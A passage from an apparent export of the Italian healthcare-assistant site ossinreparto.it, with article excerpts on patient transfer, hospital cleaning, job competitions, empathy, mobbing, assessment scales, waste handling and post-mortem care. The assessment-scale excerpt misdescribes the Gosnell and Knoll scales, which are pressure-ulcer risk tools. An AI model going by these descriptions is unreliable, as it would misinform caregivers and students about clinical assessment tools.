che la carrozzina, con le ruote bloccate, sia a 45° rispetto al letto che sia alla testata o al bordo letto. Uso di dispositivi di assistenza L'uso di dispositivi di assistenza può semplificare il processo di spostamento. Ad esempio, le gru o le sollevatrici possono essere utilizzate per trasferire il paziente in modo sicuro e ridurre al minimo lo sforzo fisico. Assicurati di conoscere correttamente il funzionamento di tali dispositivi e di utilizzarli in conformità alle linee guida del produttore. Procedura di spostamento Una volta espletate le considerazioni preliminari, puoi procedere con la mobilizzazione letto-carrozzina del paziente emiplegico. Segui attentamente i passaggi descritti di seguito: Posizionamento del paziente Inizia assicurandoti che il paziente sia posizionato in modo confortevole e sicuro nel letto. Chiedi al paziente di spostarsi al bordo del letto dal lato non paralizzato, se nel caso il paziente non è collaborante mobilizzarlo in posizione laterale e successivamente alzarlo cosi da trovarsi al bordo del letto. Al fine di una miglior riabilitazione l'OSS può mobilizzare il paziente sulla sedia a rotelle, seguendo le indicazioni del fisioterapista, mettendosi al lato colpito in modo tale da sostenere e a far trovare una piccola indipendenza al paziente. Aspetta un paio di secondi nel caso abbia capogiri, poi posiziona la carrozzina a 45° accanto al letto. Trasferimento dal letto alla carrozzina Mentre il paziente è al bordo del letto, avvolgi un braccio attorno alla vita del paziente e sostieni la sua schiena con l'altro braccio. Inizia a spostare il paziente gradualmente verso la carrozzina facendo un quarto di giro col busto verso la carrozzina, mantenendo una presa salda ma delicata. Chiedi al paziente di collaborare facendo ancorare il braccio sano sulla sedia. Posizionamento nella carrozzina Una volta che il paziente... --- > Scopri la procedura Oss per l'igiene ambientale ospedaliera e come contribuisce a creare un ambiente sicuro e salutare per pazienti. - Published: 2023-06-05 - Modified: 2023-06-05 - URL: https://ossinreparto.it/procedura-oss-igiene-ambientale-ospedaliera/ - Categorie: Procedure, Igiene e Sicurezza In questo articolo, esploreremo la procedura degli OSS nell'igiene ambientale ospedaliera, mettendo in evidenza le pratiche che vengono adottate per garantire la pulizia e la disinfezione degli ambienti ospedalieri. L'igiene ambientale all'interno degli ospedali riveste un ruolo cruciale nel garantire la sicurezza e la salute di pazienti, personale sanitario e visitatori. Gli Operatori Socio-Sanitari (OSS) svolgono un'importante procedura nell'ambito dell'igiene ambientale ospedaliera, contribuendo a creare un ambiente sicuro e salubre. In questo articolo, esploreremo la procedura degli OSS nell'igiene ambientale ospedaliera, mettendo in evidenza le pratiche che vengono adottate per garantire la pulizia e la disinfezione degli ambienti ospedalieri. Ruolo degli OSS nell'igiene ambientale ospedaliera Gli OSS svolgono un ruolo fondamentale nell'igiene ambientale ospedaliera, collaborando con il personale sanitario e supportando le attività di pulizia e disinfezione. Di seguito sono elencate alcune delle responsabilità degli OSS in questa procedura: Pulizia delle aree ospedaliere Le strutture ospedaliere sono state suddivise in tre zone: Aree a basso rischio (uffici, segreterie, archivi, magazzini e sale di attesa); Aree a medio rischio (degenze, poliambulatori, radiologia, cucinette, corridoi di degenza, studi medici, servizi igienici); Aree ad alto rischio (blocco operatorio, laboratorio, terapie intensive. . ). Procedura OSS per l'igiene ambientale ospedaliera La procedura degli OSS nell'igiene ambientale ospedaliera segue una serie di passaggi mirati a garantire un ambiente sicuro e salubre. Di seguito sono descritti i principali aspetti di questa procedura: Per quanto riguarda la procedura per la pulizia delle stanze di degenza, le azioni sono: indossare i guanti e lavarsi le mani; arieggiare i locali; procedere dalla parte più pulita a quella più sporca, svuotare i cestini e smaltire il materiale; provvedere alla spazzatura ad umido dei pavimenti utilizzando la scopa a frange, fare dei movimenti ad S con la scopa portandoli poi verso l’esterno della camera di degenza. rimuovere eventuali oggetti dai comodini e pulirli, utilizzare dei panni in microfibra inumiditi di soluzione detergente e rimuovere la polvere; procedere con il lavaggio dei pavimenti, da non dimenticare di utilizzare due secchi d’acqua in uno ci sarà acqua e detergente e nell’altro acqua e disinfettante. Come nella spolveratura anche qui bisogna fare dei movimenti ad S; lavare tutti gli attrezzi utilizzati e riporli nel deposito; rimuovere i guanti e lavarsi le mani. Per quanto riguarda i servizi igienici, questa è la procedura seguente: indossare i guanti e lavarsi le mani; arieggiare i locali; procedere dalla parte più pulita a quella più sporca, svuotare i cestini e smaltire il materiale; provvedere alla pulizia dei servizi sanitari distribuendo il detergente su di essi, procedere con il lavaggio dei pavimenti, lavare tutti gli attrezzi e riporli nel deposito; rimuovere i guanti e lavarsi le mani. Conclusioni La procedura Oss per l'igiene ambientale ospedaliera svolge un ruolo essenziale nel garantire un ambiente sicuro e salubre negli ospedali. Gli Operatori Socio-Sanitari svolgono responsabilmente la pulizia e la sanificazione delle aree ospedaliere, collaborando con il personale sanitario per ridurre il rischio di infezioni e garantire un ambiente sicuro per tutti. La gestione adeguata dei rifiuti ospedalieri è un altro aspetto cruciale affrontato durante questa procedura, contribuendo a prevenire la diffusione di microrganismi attraverso i rifiuti. Grazie alla dedizione e all'attenzione degli OSS, l'igiene ambientale ospedaliera contribuisce a creare un... --- - Published: 2023-05-31 - Modified: 2023-06-05 - URL: https://ossinreparto.it/bando-concorso-5-oss-pavia/ - Categorie: Concorsi In questo articolo, forniremo informazioni dettagliate sul concorso, compresi i requisiti, le modalità di partecipazione e le scadenze importanti. ASST Pavia, l'Azienda Socio Sanitaria Territoriale di Pavia, ha indetto un concorso pubblico per l'assunzione di 5 Operatori Socio Sanitari (O. S. S. ). Questo concorso offre una grande opportunità per coloro che desiderano lavorare nel settore sanitario. In questo articolo, forniremo informazioni dettagliate sul concorso, compresi i requisiti, le modalità di partecipazione e le scadenze importanti. Requisiti e procedura di partecipazione Requisiti generali Per partecipare al concorso OSS dell'ASST di Pavia, è necessario soddisfare i seguenti requisiti: Requisiti generali: Cittadinanza italiana o di uno dei Paesi dell'Unione Europea. I familiari dei cittadini dell'UE senza cittadinanza di uno Stato membro possono partecipare se sono titolari del diritto di soggiorno o del diritto di soggiorno permanente. I cittadini di Paesi terzi con permesso di soggiorno CE per soggiornanti di lungo periodo o con lo status di rifugiato o di protezione sussidiaria possono partecipare. Idoneità fisica all'impiego. Godimento dei diritti politici. Requisiti specifici: Titolo di studio: attestato di Operatore Socio Sanitario conseguito attraverso un corso di formazione annuale conforme all'accordo del 22 febbraio 2001 tra il Ministro della Sanità, il Ministero della Solidarietà Sociale e le Regioni e Province autonome di Trento e Bolzano. Il candidato deve dimostrare che l'ente che ha rilasciato il titolo possiede i requisiti specificati nell'art. 2 dell'Accordo del 22 febbraio 2001. Esclusioni: Non possono accedere all'impiego coloro che sono stati esclusi dall'elettorato attivo. Non possono accedere coloro che sono stati dispensati dall'impiego presso una Pubblica Amministrazione per aver conseguito l'impiego stesso mediante la produzione di documenti falsi o viziati da invalidità non sanabile. Domanda di partecipazione La domanda per partecipare al concorso OSS 5 Posti dell'ASST di Pavia è esclusivamente telematica. I candidati devono seguire i seguenti passaggi: La domanda di partecipazione al concorso pubblico deve essere inviata esclusivamente tramite procedura telematica. Per inviare la domanda, i candidati devono registrarsi sul sito https://asst-pavia. iscrizioneconcorsi. it. La procedura telematica sarà attiva dalla data di pubblicazione dell'estratto del bando in Gazzetta Ufficiale fino al giorno di scadenza indicato nel bando. La procedura telematica si disattiverà automaticamente alle ore 23. 59. 59 del giorno di scadenza. Dopo la scadenza, non sarà possibile inviare ulteriori domande o allegare documentazione. La compilazione della domanda può essere effettuata in qualsiasi momento durante il periodo indicato, tranne durante eventuali interruzioni per manutenzione del sito. Quota di partecipazione: La quota per partecipare al concorso è di 25€. Scadenza e modalità di invio La scadenza per la presentazione delle domande è fissata entro le ore 23. 59 del 12 giugno 2023. È importante rispettare rigorosamente questa data e ora limite, in quanto le domande inviate successivamente non saranno prese in considerazione. Tutta la documentazione richiesta deve essere inviata esclusivamente tramite la procedura telematica indicata sul sito web di ASST Pavia. Requisiti aggiuntivi Patente di guida Per partecipare al concorso OSS 5 Posti dell'ASST di Pavia non è necessario possedere la patente di guida di categoria B. Tuttavia, la detenzione di questa patente potrebbe rappresentare un vantaggio in alcune situazioni di lavoro specifiche. PEC obbligatoria Per garantire... --- > In questo articolo, esploreremo il concetto di empatia e forniremo una panoramica sulle tecniche di comunicazione terapeutica che promuovono una maggiore empatia e comprensione. - Published: 2023-05-31 - Modified: 2023-05-31 - URL: https://ossinreparto.it/empatia-tecniche-di-comunicazione/ - Categorie: Psicologia In questo articolo, esploreremo il concetto di empatia e forniremo una panoramica sulle tecniche di comunicazione terapeutica che promuovono una maggiore empatia e comprensione. L'empatia è una qualità umana fondamentale che ci permette di comprendere e connetterci con gli altri. Nella pratica terapeutica, l'empatia riveste un ruolo cruciale, poiché consente ai professionisti della salute mentale di stabilire un legame significativo con i loro pazienti. In questo articolo, esploreremo il concetto di empatia e forniremo una panoramica sulle tecniche di comunicazione terapeutica che promuovono una maggiore empatia e comprensione. L'importanza della comunicazione terapeutica L'empatia è fondamentale per le relazioni umane e per una società più empatica e solidale. Ecco alcune ragioni per cui l'empatia è importante: Migliora la comunicazione: L'empatia ci aiuta a comprendere gli altri in modo più profondo e ad ascoltarli attentamente. Ci permette di comunicare in modo più efficace, rispettando le loro emozioni e punti di vista. Favorisce la comprensione reciproca: Quando siamo empatici, siamo più inclini a cercare punti di contatto e a superare le differenze. Questo favorisce una maggiore comprensione reciproca e promuove l'armonia e la cooperazione nelle relazioni. Supporta il benessere emotivo: L'empatia può fornire sostegno e conforto alle persone che stanno attraversando momenti difficili. Quando siamo empatici, offriamo un'orecchio comprensivo e una presenza rassicurante, il che può contribuire al benessere emotivo di chiunque si trovi in una situazione di sofferenza. Promuove la coesione sociale: L'empatia favorisce un senso di connessione e solidarietà tra le persone. Quando ci mettiamo nei panni degli altri e comprendiamo le loro emozioni, si crea un legame che può unire le comunità e creare un clima sociale più coeso e armonioso. Favorisce l'empowerment: Essere empatici significa riconoscere le sfide e le difficoltà che gli altri affrontano. Ciò ci spinge a cercare modi per aiutarli a superare tali ostacoli e a sviluppare un senso di empowerment. L'empatia può motivare le persone a fare la differenza nella vita degli altri, promuovendo il cambiamento positivo. Tecniche di comunicazione terapeutica per sviluppare l'empatia Ascolto attivo: La base dell'empatia Il primo passo per sviluppare l'empatia è imparare ad ascoltare attivamente. Questo implica dedicare piena attenzione al paziente, senza interruzioni o distrazioni. L'ascolto attivo richiede di mettere da parte i nostri giudizi e preconcetti, concentrandoci sulle parole, i gesti e l'espressione emotiva del paziente. Questa pratica ci consente di comprendere non solo ciò che viene detto, ma anche ciò che non viene esplicitamente espresso. Ripetizione e parafrasi Un modo efficace per dimostrare che stiamo ascoltando attentamente è ripetere o parafrasare ciò che il paziente ha appena detto. Questo dimostra che siamo impegnati nella conversazione e che cerchiamo di capire appieno il suo punto di vista. Ad esempio, se il paziente dice: "Mi sento molto ansioso ultimamente", possiamo rispondere con: "Quindi stai vivendo un periodo di grande ansia". Validazione delle emozioni Le emozioni possono essere complesse e spesso non facilmente descrittibili. Quando il paziente esprime una determinata emozione, è importante riconoscerla e validare ciò che sta provando. Ad esempio, se il paziente dice: "Mi sento così triste e frustrato", possiamo rispondere con: "Sembra che tu stia affrontando una situazione difficile e che provi una serie di emozioni negative". Sospensione del giudizio... --- > Questo articolo si propone di fornire una panoramica sul fenomeno del mobbing, esaminando le sue tipologie principali. - Published: 2023-05-31 - Modified: 2023-05-31 - URL: https://ossinreparto.it/mobbing-in-ospedale/ - Categorie: Psicologia Questo articolo si propone di fornire una panoramica sul fenomeno del mobbing, esaminando le sue tipologie principali e offrendo una maggiore consapevolezza su come riconoscerlo e affrontarlo. Il mobbing in ospedale rappresenta un fenomeno preoccupante che può avere conseguenze significative per la salute e il benessere dei lavoratori. Il termine "mobbing" viene dall’inglese "mob" che vuol dire "aggredire". è un comportamento caratterizzato da una violenza psicologica, ma non solo, che avviene in un ambiente di lavoro attraverso comportamenti aggressivi ripetuti da parte di uno o più colleghi ma anche dal datore di lavoro. Questi comportamenti sfociano in persecuzione, calunnie e critiche verso la vittima. In ambito ospedaliero, questo comportamento può essere particolarmente dannoso a causa dell'alta pressione e delle sfide che i professionisti della salute devono affrontare quotidianamente. Questo articolo si propone di fornire una panoramica sul fenomeno del mobbing, esaminando le sue tipologie principali e offrendo una maggiore consapevolezza su come riconoscerlo e affrontarlo. Anche io ho subito mobbing e non è stato facile andare a lavoro sapendo che li trovavo un ambiente ostile. All'inizio ti fanno credere che sei bravissima, ti riempiono di complimenti, vai più volentieri a lavoro e ti svegli con più autostima; tutto d'un tratto, inizi a notare che parlano male di una nuova arrivata, quando non ci sei ti parlano alle spalle, inizi a chiederti se sei tu, passa tempo ed inizi a notare che "la cocca del capo", la referente, un giorno in una stanza parla a telefono non si fai caso se non pochi giorni dopo arriva il capo e con un atteggiamento altezzoso ti dice che quello che fai non va bene, arriva a sgridarti davanti a tutti, offendendoti e minacciandoti che se la situazione continua cosi sarà costretto a licenziarti, tu gli spieghi quello per cui ti accusano non l'hai commesso; rattristato corri a casa e ripensi a ciò che hai potuto sbagliare e del perché si comportasse così dato che per tantissimo tempo in quel posto hai sempre fatto il massimo, poi ripensi a quelle volte in cui vedevi la "cocca del capo" fare le telefonatine e li inizi a capire qualcosa. Ci sono diverse tipologie di mobbing che riassumono tutte in quattro fasi: Fase di conflitto lieve (litigi quotidiani); Fase di conflitto media (litigi quotidiani con calunnie); Fase di conflitto medio-grave ( la vittima calunniata, a causa del suo grave stato di salute mentale commette degli errori che compromettono il lavoro. È qui che l'azienda inizia a colpevolizzate la vittima); Fase grave (la vittima viene isolata e abusata di potere ed infine indotto a rassegnare le dimissioni). Tipologie di mobbing Mobbing verticale Il mobbing verticale si verifica quando il comportamento aggressivo proviene da figure di autorità, come un superiore o un datore di lavoro. Questa forma di mobbing può includere insulti, umiliazioni pubbliche, discriminazione, isolamento sociale e sabotaggio delle opportunità lavorative. Le vittime di mobbing verticale spesso si trovano in una posizione di dipendenza, rendendo difficile per loro difendersi o trovare sostegno. Mobbing orizzontale Il mobbing orizzontale si manifesta tra colleghi sullo stesso livello gerarchico o all'interno di gruppi di lavoro. Le dinamiche di mobbing orizzontale possono includere il boicottaggio delle attività lavorative della vittima,... --- > In questo articolo, esploreremo alcune delle scale di valutazione più comuni, tra cui la Scala di Barthel, la Scala di Norton e altre. - Published: 2023-05-30 - Modified: 2023-05-30 - URL: https://ossinreparto.it/scale-di-valutazione/ - Categorie: Assistenza alla Persona, Procedure In questo articolo, esploreremo alcune delle scale di valutazione più comuni, tra cui la Scala di Barthel, la Scala di Norton, la Scala di Gosnell, la Scala di Braden, la Scala di Waterlow e la Scala di Knoll. Le scale di valutazione sono strumenti utilizzati nella pratica medica per misurare e valutare specifici aspetti della salute e del benessere di una persona. Queste scale sono progettate per fornire un'indicazione oggettiva delle condizioni di salute e consentono ai medici e agli operatori sanitari di valutare le esigenze del paziente, elaborare piani di cura appropriati e monitorare i progressi nel tempo. In questo articolo, esploreremo alcune delle scale di valutazione più comuni, tra cui la Scala di Barthel, la Scala di Norton, la Scala di Gosnell, la Scala di Braden, la Scala di Waterlow e la Scala di Knoll. La Scala di Barthel Definizione e Scopo La Scala di Barthel è uno strumento ampiamente utilizzato per valutare l'indipendenza funzionale delle persone nelle attività della vita quotidiana. Questa scala valuta la capacità di una persona di svolgere dieci attività di base, come alimentarsi, vestirsi, lavarsi e deambulare. I punteggi ottenuti sulla Scala di Barthel forniscono un'indicazione dell'autonomia di una persona, consentendo ai medici di pianificare adeguatamente il supporto e la cura necessari. Utilizzo e Applicazioni La Scala di Barthel viene comunemente utilizzata in ospedali, case di cura e centri di riabilitazione per valutare l'indipendenza funzionale dei pazienti. Questa valutazione può aiutare a determinare il livello di assistenza necessario, a monitorare i progressi durante il percorso riabilitativo e a valutare l'efficacia degli interventi terapeutici. Altre Scale di Valutazione La Scala di Norton La Scala di Norton è uno strumento utilizzato per valutare il rischio di sviluppare ulcere da decubito. I fattori considerati includono lo stato mentale, lo stato fisico, la mobilità, l'incontinenza e lo stato nutrizionale del paziente. La Scala di Gosnell La Scala di Gosnell viene utilizzata per valutare il dolore nei neonati e nei bambini non comunicativi. Questa scala prende in considerazione i segni comportamentali, fisiologici e verbali per determinare l'intensità del dolore. La Scala di Braden La Scala di Braden è uno strumento utilizzato per valutare il rischio di sviluppare ulcere da pressione in pazienti acuti e cronici. I fattori valutati includono la sensibilità al dolore, l'attività, la mobilità, la nutrizione, la frizione e la pressione cutanea. La Scala di Waterlow La Scala di Waterlow è uno strumento utilizzato per valutare il rischio di sviluppare ulcere da decubito nei pazienti. Questa scala prende in considerazione fattori come l'età, lo stato mentale, lo stato fisico, la mobilità, l'incontinenza, la nutrizione e l'idratazione. La Scala di Knoll La Scala di Knoll è uno strumento utilizzato per valutare la gravità delle lesione da pressione. Questa scala considera l'entità delle lesioni cutanee, la profondità delle ustioni e l'estensione della superficie corporea colpita. Importanza delle Scale di Valutazione Le scale di valutazione svolgono un ruolo fondamentale nella pratica medica e nella cura dei pazienti. Ecco alcuni motivi per cui queste scale sono importanti: Valutazione obiettiva: Le scale di valutazione forniscono un metodo obiettivo per valutare e misurare specifici aspetti della salute di una persona, consentendo ai medici di ottenere informazioni dettagliate e precise sulla condizione del paziente. Pianificazione della cura: I risultati ottenuti dalle... --- > In questo articolo, esploreremo i passi fondamentali per diventare un OSS e le competenze richieste per avere successo in questa professione. - Published: 2023-05-30 - Modified: 2025-04-01 - URL: https://ossinreparto.it/come-diventare-un-oss/ - Categorie: Diventare OSS - Tag: Guide OSS In questo articolo, esploreremo i passi fondamentali per diventare un OSS e le competenze richieste per avere successo in questa professione gratificante. Se hai una passione per l'assistenza alle persone e desideri intraprendere una carriera nel campo sanitario, diventare un OSS (Operatore Socio Sanitario) potrebbe essere la scelta giusta per te. Gli OSS svolgono un ruolo cruciale nell'assistenza diretta ai pazienti, fornendo supporto e cura in vari ambienti sanitari come ospedali, case di cura e servizi di assistenza domiciliare. In questo articolo, esploreremo i passi fondamentali per diventare un OSS e le competenze richieste per avere successo in questa professione gratificante. Formazione ed Educazione Ottenere una qualifica riconosciuta Diploma di OSS: La prima cosa da fare per diventare un OSS è conseguire un diploma di Operatore Socio Sanitario. Questa qualifica è offerta da scuole professionali, istituti tecnici o centri di formazione accreditati. Durante il corso di studi, acquisirai le conoscenze teoriche e le competenze pratiche necessarie per fornire assistenza ai pazienti. Stage e tirocinio: Durante il percorso di formazione, potrebbe essere previsto uno stage o un tirocinio presso strutture sanitarie, dove avrai l'opportunità di applicare le tue competenze in un ambiente reale e lavorare a stretto contatto con i pazienti. Consiglio personale per quanto riguarda il tirocinio: io lo feci in una RSA e mi è piaciuto un sacco, mi ricordo che appena entrai, il mio primo giorno, avevo un pò d’ansia perchè non sapevo nè cosa mi aspettasse ne tanto meno cos’era realmente un RSA. Fin da subito alcune oss mi fecero sentire a mio agio e mi spiegarono ciò che stavano facendo nel loro turno di lavoro, come rapportarsi con i pazienti irrequieti, come dar da mangiare ai pazienti che non volevano alimentarsi, e molto altro. Durante tutto il mio tirocinio chiedevo ad ogni oss del mio turno cosa stesse facendo e chiedevo se nel caso potevo provarci anche io, un giorno mi trovai a mobilizzare un paziente allettato e cateterizzato andai in pallone e mi venne un vuoto di memoria, l’OSS con premura mi ricordò subito le tecniche di mobilizzazione e subito ripresi da dove avevo iniziato. Il mio consiglio è di chiedere e di osservare tutto ciò che potete rubare con gli occhi e di stare tranquilli perchè nessuno nasce imparato. Competenze e Abilità Empatia e Compassione: Essere in grado di comprendere ed essere sensibili alle esigenze dei pazienti è fondamentale per un OSS. La capacità di mettersi nei loro panni e offrire sostegno emotivo può fare la differenza nel loro percorso di guarigione. Comunicazione efficace: Un OSS deve essere in grado di comunicare in modo chiaro ed efficace con i pazienti, i familiari e il team di assistenza sanitaria. La capacità di ascoltare attentamente, esprimere informazioni in modo comprensibile e collaborare con gli altri è essenziale. Competenze tecniche: Gli OSS devono acquisire competenze pratiche come la somministrazione di farmaci, il cambio di bende, l'assistenza nell'alimentazione e nell'igiene personale, nonché l'uso di attrezzature mediche e dispositivi di assistenza. Contenuti dell'esame OSS L'esame OSS copre diversi argomenti pertinenti al lavoro di un Operatore Socio-Sanitario. Alcuni dei principali argomenti trattati includono: Anatomia e fisiologia del corpo umano Igiene e sicurezza... --- > In questo articolo, esploreremo alcune tecniche di animazione che possono essere utilizzate con successo per coinvolgere e stimolare gli anziani. - Published: 2023-05-30 - Modified: 2023-05-30 - URL: https://ossinreparto.it/animazione-con-lanziano/ - Categorie: Psicologia In questo articolo, esploreremo alcune tecniche di animazione che possono essere utilizzate con successo per coinvolgere e stimolare gli anziani. L'animazione con l'anziano è un approccio terapeutico che mira a migliorare la qualità di vita e il benessere degli anziani attraverso una serie di attività ricreative e sociali. Queste tecniche, basate sull'interazione e l'engagement attivo, possono favorire il mantenimento delle capacità cognitive, emotive e fisiche degli anziani, oltre a promuovere la socializzazione e il senso di appartenenza. In questo articolo, esploreremo alcune tecniche di animazione che possono essere utilizzate con successo per coinvolgere e stimolare gli anziani. Tecniche di animazione all'anziano Attività motorie e fisiche Le attività motorie e fisiche sono fondamentali per mantenere la salute e la mobilità degli anziani. L'animazione con l'anziano può includere esercizi leggeri, come stretching, ginnastica dolce o passeggiate. Queste attività aiutano a migliorare la resistenza, la forza muscolare e l'equilibrio. Inoltre, promuovono una maggiore autonomia e un senso di benessere generale. È importante adattare le attività all'età e alle capacità individuali degli anziani, coinvolgendo sempre un professionista qualificato per garantire la sicurezza durante l'esecuzione degli esercizi. Attività cognitive Le attività cognitive sono utili per mantenere il cervello attivo e stimolato negli anziani. L'animazione può comprendere giochi di memoria, rompicapo, cruciverba, lettura o persino attività artistiche come la pittura o il disegno. Queste attività contribuiscono a migliorare la concentrazione, la memoria, le capacità di problem solving e la creatività. È importante adattare le attività al livello cognitivo degli anziani, offrendo sfide adeguate alle loro capacità e incoraggiando sempre il divertimento e il coinvolgimento. Attività sociali La socializzazione è un aspetto cruciale per il benessere degli anziani. L'animazione può offrire diverse attività sociali, come gruppi di discussione, eventi culturali, serate di gioco o feste tematiche. Queste attività favoriscono l'interazione tra gli anziani, creando opportunità di scambio, condivisione e connessione emotiva. Promuovono anche il senso di appartenenza a una comunità e contrastano il rischio di isolamento sociale, comune tra gli anziani. È importante creare un ambiente accogliente e inclusivo, in cui gli anziani si sentano a proprio agio e stimolati a partecipare attivamente. Attività sensoriali Le attività sensoriali coinvolgono i sensi degli anziani, come la vista, l'udito, il tatto, l'olfatto e il gusto. L'animazione può includere attività come la musica, la danza, la degustazione di cibi o la creazione di profumi. Queste attività stimolano i sensi, creando un'esperienza piacevole e coinvolgente per gli anziani. Possono anche evocare ricordi, emozioni positive e stimolare la comunicazione e l'espressione artistica. È importante considerare le preferenze e le limitazioni individuali degli anziani, adattando le attività ai loro sensi e creando un ambiente rilassante e sicuro. Mi rendo conto che alcune di queste attività non si possono fare dipende sempre dal posto in cui si lavora, nella struttura dove lavoravo le animatrici avevano un’ora di tempo al giorno con gli anziani e ogni volta che si vedevano facevano fare cose diverse. Una volta accompagnai due signore a giocare a palla in una grande sala, altre volte per fargli colorare o dipingere un bel disegno che poi veniva appeso al muro, altre volte nel reparto si sentivano musiche di vecchie canzoni allegre. Conclusioni... --- > In questo articolo, esploreremo le diverse categorie di rifiuti sanitari e le precauzioni necessarie per una gestione sicura. - Published: 2023-05-30 - Modified: 2023-05-30 - URL: https://ossinreparto.it/gestione-dei-rifiuti-sanitari/ - Categorie: Igiene e Sicurezza In questo articolo, esploreremo le diverse categorie di rifiuti sanitari e le precauzioni necessarie per una gestione sicura. La corretta gestione dei rifiuti sanitari e ospedalieri è fondamentale per tutelare la salute pubblica e l'ambiente. Questi rifiuti possono rappresentare una potenziale minaccia se non vengono smaltiti in modo adeguato, poiché possono contenere sostanze pericolose o agenti infettivi. In questo articolo, esploreremo le diverse categorie di rifiuti sanitari e le precauzioni necessarie per una gestione sicura. Categorie di rifiuti sanitari I rifiuti sanitari possono essere suddivisi in diverse categorie in base all'origine e ai potenziali rischi associati. Conoscere queste categorie è importante per garantire un corretto smaltimento e proteggere sia il personale sanitario che il pubblico. Ecco le principali categorie di rifiuti sanitari: Rifiuti sanitari non pericolosi: Questa categoria include materiali come i materiali metallici, il vetro per i farmaci, gessi ortopedici, farmaci scaduti. Questi rifiuti possono essere smaltiti in modo sicuro utilizzando i normali sistemi di gestione dei rifiuti urbani; Rifiuti sanitari assimilabili agli urbani: Questa categoria comprende rifiuti sanitari simili a quelli generati nelle abitazioni, come materiali derivanti dalla cucine, resti di pasti provenienti dalle unità operative, vetro, carta, plastica, pannolini e assorbenti igienici ( ad esclusione che non provengano da pazienti infetti). Possono essere smaltiti insieme ai rifiuti domestici, ma è importante sigillarli correttamente per evitare la dispersione di agenti infettivi o sostanze pericolose. Rifiuti sanitari pericolosi non a rischio infettivo: Questa categoria include materiali come prodotti chimici, farmaci scaduti o non utilizzati e dispositivi medici non contaminati. Questi rifiuti richiedono una gestione specifica, poiché contengono sostanze pericolose. Devono essere raccolti separatamente e smaltiti in conformità alle normative ambientali vigenti; Rifiuti sanitari pericolosi a rischio infettivo: Questa categoria comprende materiali che provengono dalle unità operative. Nel DPR 254/03 (norma che disciplina la gestione dei rifiuti sanitari) vengono elencati: i rifiuti che provengono da ambienti di isolamento infettivo e che siano venuti a contatto con liquido biologico secreto ed escreto di pazienti; rifiuti contaminati da liquidi biologici, feci, urine e sangue, dove il medico ha annunciato una patologia trasmissibile attraverso tali liquidi; rifiuti provenienti da attività veterinaria. I rifiuti infettivi devono essere gestiti con estrema attenzione per prevenire la diffusione di malattie. Richiedono una raccolta, un trattamento e uno smaltimento specifici per garantire la sicurezza. Questi rifiuti vengono sottoposti a sterilizzazione, frantumazione ed essiccamento in luoghi all’interno delle strutture sanitarie oppure da ditte esterne. I rifiuti sanitari pericolosi vengono inseriti in contenitori di cartone flessibile dove su di essi viene riportata una scritta “ Rifiuti sanitari pericolosi a rischio infettivo” accompagnata dal suo simbolo. Da ricordare che questi tipi di rifiuti possono essere mantenuti nel deposito per soli 5 giorni; Rifiuti sanitari che richiedono particolari sistemi di gestione: Alcuni rifiuti sanitari, come aghi, siringhe, lame o frammenti di vetro, richiedono contenitori appositi per minimizzare il rischio di lesioni e infezioni. Questi rifiuti devono essere raccolti in contenitori resistenti, appositamente progettati per evitare punture o tagli accidentali, sui quali viene apportata la dicitura “ Rifiuti sanitari pericolosi a rischio infettivo taglienti e pungenti”. Gestione dei rifiuti sanitari La gestione dei rifiuti sanitari richiede l'adozione di misure preventive per... --- > Scopri il ruolo fondamentale degli OSS nell'assistenza post mortem, garantendo dignità e cura ai defunti e supporto ai familiari nel processo di lutto. - Published: 2023-05-30 - Modified: 2025-04-01 - URL: https://ossinreparto.it/assistenza-post-mortem-oss/ - Categorie: Assistenza alla Persona Esploreremo le responsabilità degli OSS nell'assistenza post mortem attraverso le seguenti sezioni. Nell'ambito dell'assistenza sanitaria, spesso si tende a concentrarsi sulla cura delle persone viventi. Tuttavia, anche dopo la morte, esiste un importante settore di assistenza che merita attenzione. L'assistenza post mortem è il termine che identifica il supporto fornito ai defunti e ai loro familiari durante il processo di lutto. In questo contesto, gli Operatori Socio Sanitari (OSS) rivestono un ruolo cruciale, garantendo dignità e cura ai defunti e offrendo supporto emotivo alle persone in lutto. Esploreremo le responsabilità degli OSS nell'assistenza post mortem attraverso le seguenti sezioni. Ruolo degli OSS nell'assistenza post mortem Gli OSS, all'interno delle strutture sanitarie e dei servizi di cura, svolgono una serie di compiti specifici durante l'assistenza post mortem. Questi compiti sono essenziali per garantire un adeguato trattamento dei defunti e il sostegno emotivo dei familiari. Di seguito sono elencate alcune delle principali responsabilità degli OSS: Preparazione e cura del corpo Pulizia e vestizione del defunto Gestione adeguata delle procedure di conservazione Controllo e documentazione delle condizioni del corpo Supporto alla famiglia Fornire informazioni e spiegazioni sulle procedure post mortem Offrire supporto emotivo e compassione ai familiari Coordinare le richieste e le esigenze della famiglia con gli altri professionisti sanitari Procedure post mortem eseguite dagli OSS Gli OSS sono coinvolti in diverse procedure post mortem che richiedono competenze specifiche e attenzione ai dettagli. Le seguenti sono alcune delle procedure in cui gli OSS sono coinvolti: Pratiche igieniche e conservazione del corpo Igiene post mortem, tra cui lavaggio e pulizia del corpo Applicazione di presidi per la conservazione del corpo Garanzia della corretta conservazione del corpo, in conformità con le norme e le procedure stabilite La procedura stabilita è la seguente: Determinare se è richiesta più di una persona in quanto si deve girare il corpo; Osservare le procedure per il controllo infezioni; indossare i guanti monouso; Dato che i familiari vogliono vedere il defunto subito, assicurarsi che il paziente abbia un aspetto dignitoso garantendo di inserire la dentiera, chiudere gli occhi e la bocca, far indossare al paziente il pigiama e spazzolargli i capelli, prima che si verifichi il rigor mortis. Il rigor mortis inizia dopo circa 2-3 ore ed è un irrigidimento del corpo. In seguito alla morte i globuli rossi si degradano, rilasciando l’emoglobina che fa cambiare colore ai tessuti, questo processo viene detto livor mortis. Per evitare che si scolorisca il viso porre sotto la testa un cuscino; Normalmente il corpo viene messo in posizione supina con gli arti allineati; Rimuovere eventuali drenaggi, infusioni cateteri, medicazioni; Eseguire il lavaggio intimo al paziente; Applicare cotone negli orifizi; Rimuovere tutti i gioielli, redigere un inventario degli effetti personali e consegnarli ai parenti e mettere il braccialetto identificativo sul polso del paziente; Avvolgere la salma in un sudario, applicare un’etichetta identificativa; Smaltire i rifiuti ( eseguiti nel lavaggio intimo al paziente). Togliere i guanti e lavarsi le mani. Gestione delle formalità amministrative Preparazione dei documenti di registrazione della morte Collaborazione con gli ufficiali anagrafici e i professionisti sanitari per assicurare la correttezza delle informazioni Gestione... --- > Scopri il concorso per 8 posti indeterminato OSS presso l'ASST Bergamo Ovest in Lombardia. Iscrizioni online, requisiti e scadenza. - Published: 2023-05-30 - Modified: 2023-06-05 - URL: 